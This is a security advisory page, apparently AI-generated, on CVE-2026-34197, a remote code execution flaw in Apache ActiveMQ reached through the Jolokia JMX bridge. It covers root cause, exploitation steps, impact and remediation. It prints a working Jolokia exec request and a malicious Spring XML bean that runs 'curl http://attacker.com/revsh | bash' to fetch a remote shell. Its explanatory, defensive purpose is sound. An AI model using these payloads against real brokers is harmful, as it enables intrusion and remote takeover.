CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-34197

CVE-2026-34197: Remote Code Execution in Apache ActiveMQ via Jolokia JMX-HTTP Bridge

Amit Schendel
Amit Schendel
Senior Security Researcher

Apr 20, 2026·6 min read·148 visits

Executive Summary (TL;DR)

Apache ActiveMQ versions prior to 5.19.4 and 6.2.3 suffer from a critical RCE. Attackers can abuse the Jolokia API to execute commands by passing a crafted URI to the BrokerService MBean, forcing the server to load external Spring XML configurations.

CVE-2026-34197 is a critical remote code execution vulnerability in Apache ActiveMQ Classic affecting versions prior to 5.19.4 and the 6.x branch before 6.2.3. Attackers exploit the Jolokia JMX-HTTP bridge to force the BrokerService MBean to load a malicious Spring XML configuration file, leading to arbitrary code execution on the broker's JVM.

Vulnerability Overview

Apache ActiveMQ Classic includes a Jolokia JMX-HTTP bridge, exposed by default at /api/jolokia/ on the web console. This interface allows administrators to interact with Java Management Extensions (JMX) MBeans via HTTP requests. The bridge exposes the BrokerService MBean, which controls core functionality of the message broker.

The vulnerability exists because the default Jolokia access policy (jolokia-access.xml) broadly permits exec operations on all MBeans under the org.apache.activemq:* domain. This configuration allows authenticated users to invoke sensitive methods on the BrokerService MBean. In specific older versions (6.0.0 through 6.1.1), a separate vulnerability (CVE-2024-32114) allows unauthenticated access to this endpoint, compounding the risk.

Attackers exploit this permissive policy to invoke methods that accept transport URIs. By passing a specifically crafted URI using the vm:// transport scheme, the attacker forces the application to load a remote configuration file. This behavior results in unauthenticated or low-privileged remote code execution on the host system operating the ActiveMQ broker.

Root Cause Analysis

The root cause of CVE-2026-34197 stems from the insecure processing of the brokerConfig parameter within the vm:// transport URI scheme. When an administrator or attacker invokes the addNetworkConnector(String) or addConnector(String) methods via Jolokia, the application routes the provided URI string to the VMTransportFactory.

The VMTransportFactory parses the URI to initialize a local broker instance. If the URI contains the brokerConfig parameter, the factory uses its value to locate a Spring XML (XBean) configuration file. The implementation uses Spring's ResourceXmlApplicationContext to process this file, which supports loading resources from arbitrary external HTTP or FTP URLs.

Spring's ResourceXmlApplicationContext automatically instantiates all singleton beans defined within the provided XML configuration during initialization. This design assumes the XML configuration originates from a trusted source. Because the BrokerService MBean performs no validation or sanitization on the provided URI before passing it to the transport factory, attackers can supply a URL pointing to an attacker-controlled server.

Code Analysis & Exploitation Payload

The vulnerable code path initiates when the Jolokia endpoint processes a POST request targeting the BrokerService MBean. The attacker sends a JSON payload specifying the exec operation, the addNetworkConnector method, and the malicious URI. The payload takes the form of static:(vm://localhost?brokerConfig=xbean:http://attacker-server.com/exploit.xml).

{
  "type": "exec",
  "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": ["static:(vm://localhost?brokerConfig=xbean:http://attacker-server.com/exploit.xml)"]
}

Upon receiving this request, ActiveMQ reaches out to the provided external URL. The attacker hosts an XML file defining a malicious Spring bean. A typical payload leverages the java.lang.ProcessBuilder or java.lang.Runtime classes to execute arbitrary operating system commands during the bean initialization phase.

<beans xmlns="http://www.springframework.org/schema/beans">
  <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value>curl http://attacker.com/revsh | bash</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

The patch for this vulnerability implements two primary defensive layers. First, the ActiveMQ developers added URI sanitization to the addNetworkConnector and addConnector methods. This change explicitly strips or rejects the brokerConfig parameter when the URI originates from a JMX operation. Second, the default jolokia-access.xml file was updated to explicitly deny exec operations on sensitive BrokerService MBeans, reducing the overall attack surface of the Jolokia bridge.

Exploitation Methodology

Exploitation requires network access to the ActiveMQ web console, typically exposed on TCP port 8161. The attacker must first determine if the /api/jolokia/ endpoint is accessible. This step often involves sending an unauthenticated GET request to verify the service responds with a Jolokia version string or requires HTTP Basic Authentication.

If the target requires authentication, the attacker must possess valid credentials. However, targets running ActiveMQ versions 6.0.0 through 6.1.1 bypass this requirement entirely due to CVE-2024-32114, an authentication bypass flaw in the web console. Attackers actively chain these two vulnerabilities to achieve unauthenticated remote code execution.

Once the request successfully reaches the Jolokia endpoint, the broker reaches out to the external server specified in the brokerConfig URL. This creates an out-of-band (OOB) network interaction, which defenders can observe in firewall logs or DNS queries. Nuclei templates and other vulnerability scanners leverage this OOB interaction by supplying a collaborator URL to verify exploitability without executing destructive commands.

Impact Assessment

Successful exploitation of CVE-2026-34197 results in arbitrary code execution within the context of the Java Virtual Machine (JVM) running the ActiveMQ broker. On default Linux installations, the ActiveMQ process typically runs as a dedicated, non-root user. However, the attacker gains full control over the broker process, allowing them to read sensitive configuration files, modify message queues, or pivot into the internal network.

The CVSS v3.1 score of 8.8 reflects the high severity of this vulnerability. The attack vector is strictly network-based, requires low complexity, and requires no user interaction. The confidentiality, integrity, and availability impacts are all rated as high. The prerequisite for low privileges prevents this from scoring a 9.8 or 10.0, though the existence of authentication bypass chains effectively nullifies this limitation in many environments.

The Exploit Prediction Scoring System (EPSS) assigns this vulnerability a score of 0.46638, placing it in the 97.67th percentile. This high score, combined with its inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog, indicates active exploitation by threat actors. Ransomware operators and initial access brokers frequently target exposed message brokers to establish footholds in enterprise environments.

Remediation and Mitigation

The vendor addressed this vulnerability in Apache ActiveMQ versions 5.19.4 and 6.2.3. Organizations must upgrade all affected broker instances to a patched version immediately. The upgrade replaces the vulnerable VMTransportFactory logic and deploys the hardened jolokia-access.xml policy file, closing the JMX attack vector.

If immediate patching is unfeasible, administrators can deploy several effective workarounds. The primary mitigation involves restricting network access to the ActiveMQ web console (port 8161). Organizations should enforce strict network access control lists (ACLs) to ensure only authorized administrative subnets can reach the management interface. Exposing the ActiveMQ web console directly to the public internet violates secure configuration guidelines.

Administrators can also manually harden the Jolokia access policy to mitigate the flaw. By editing the conf/jolokia-access.xml file, security teams can explicitly deny the exec operation for the org.apache.activemq:* MBean domain. Furthermore, if the Jolokia bridge is not actively utilized for monitoring or management, administrators should disable the endpoint entirely by removing the relevant web application configuration from the broker setup.

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
46.64%
Top 2% most exploited

Affected Systems

Apache ActiveMQ Broker / Classic < 5.19.4Apache ActiveMQ Broker / Classic 6.0.0 - 6.2.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
Apache ActiveMQ Broker / Classic
Apache Software Foundation
< 5.19.45.19.4
Apache ActiveMQ Broker / Classic
Apache Software Foundation
>= 6.0.0, <= 6.2.26.2.3
AttributeDetail
CWE IDCWE-94
Attack VectorNetwork
CVSS v3.1 Score8.8 (High)
EPSS Score0.46638 (97.67th percentile)
Exploit StatusActive / Weaponized
CISA KEVListed (Added 2026-04-16)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Code Injection

Improper Control of Generation of Code ('Code Injection')

Known Exploits & Detection

GitHub (dinosn)Python exploit script for CVE-2026-34197
GitHub (DEVSECURITYSPRO)Public PoC for CVE-2026-34197
GitHub (AtoposX-J)Public PoC for Apache ActiveMQ RCE

Vulnerability Timeline

Apache releases ActiveMQ 6.2.3 and 5.19.4.
2026-03-30
Vulnerability details disclosed via OSS Security mailing list.
2026-04-06
CVE-2026-34197 published; Horizon3.ai releases technical analysis.
2026-04-07
CISA adds CVE-2026-34197 to the Known Exploited Vulnerabilities (KEV) catalog.
2026-04-16

References & Sources

  • [1]Vendor Advisory: Apache ActiveMQ Security Announcement
  • [2]Technical Analysis by Horizon3.ai
  • [3]CISA KEV Catalog Entry
  • [4]OSS Security Mailing List Disclosure
Related Vulnerabilities
CVE-2024-32114

More Reports

•7 minutes ago•CVE-2026-63188
8.7

CVE-2026-63188: Unauthenticated Directory Traversal in @logto/tunnel

A high-severity path traversal vulnerability exists in the @logto/tunnel npm package (part of the Logto repository) prior to version 0.3.9. Remote unauthenticated attackers can exploit this vulnerability to read arbitrary local files by sending crafted HTTP requests with directory traversal sequences when the static file proxy is active.

Alon Barad
Alon Barad
1 views•7 min read
•about 7 hours ago•CVE-2026-54347
8.7

CVE-2026-54347: Stored Cross-Site Scripting in Froxlor DNS TXT Record Configuration

A critical stored Cross-Site Scripting (XSS) vulnerability was identified in Froxlor server administration software panel before version 2.3.8. Authenticated customers with DNS editor privileges can inject malicious JavaScript into DNS TXT records. Because the application processes these values via a raw formatting callback without context-aware HTML entity encoding, the payload executes in the security context of administrative users who view the affected domain's DNS zones.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 8 hours ago•CVE-2026-54348
7.2

CVE-2026-54348: Second-Order SQL Injection in Froxlor API Layer

An authenticated administrator with privileges to manage admin accounts (such as change_serversettings) can execute arbitrary SQL commands via a second-order SQL injection vulnerability. The flaw resides in Froxlor's administrative API endpoints, specifically during the handling of IP address mapping parameters which are stored as serialized arrays and later interpolated without sanitization into active database queries. This vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 9 hours ago•CVE-2026-54543
5.4

CVE-2026-54543: DNS Resource Record (RR) Injection in Froxlor DomainZones API

CVE-2026-54543 is a DNS Resource Record (RR) Injection vulnerability in Froxlor, an open-source server administration control panel. Prior to version 2.3.8, the DomainZones.add API command failed to perform strict sanitization and validation on the user-controlled record (label) and type parameters before serializing them into BIND-compatible zone files. An authenticated customer with DNS zone management permissions can inject control characters, breaking out of the original record context to define unauthorized resource records within managed zones.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 9 hours ago•CVE-2026-42533
9.2

CVE-2026-42533: NGINX Map Directive and Regex Matching Pre-Auth Heap Buffer Overflow & Info Leak

CVE-2026-42533 is a critical security vulnerability discovered in NGINX Open Source, NGINX Plus, NGINX Ingress Controller, and related products, referred to as the 'Two-Pass Capture-Clobbering' bug. The flaw is situated within NGINX's internal evaluation engine when handling complex variables, exposing a heap-based buffer overflow and information leak when a configuration chains regular expression-based map directives with numbered capture groups. An unauthenticated remote attacker can exploit this weakness by transmitting crafted HTTP requests to trigger remote code execution or defeat ASLR.

Alon Barad
Alon Barad
7 views•7 min read
•about 10 hours ago•CVE-2026-55593
6.5

CVE-2026-55593: Persistent Administrative Hijacking via Cross-Site Request Forgery in Froxlor Ajax Router

Froxlor prior to version 2.3.8 contains a high-severity architectural flaw where the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php. Unauthenticated remote attackers can leverage Cross-Site Request Forgery (CSRF) to induce authenticated administrators to submit forged requests that modify API key whitelists and expiration dates, potentially yielding persistent, out-of-band administrative control.

Amit Schendel
Amit Schendel
6 views•8 min read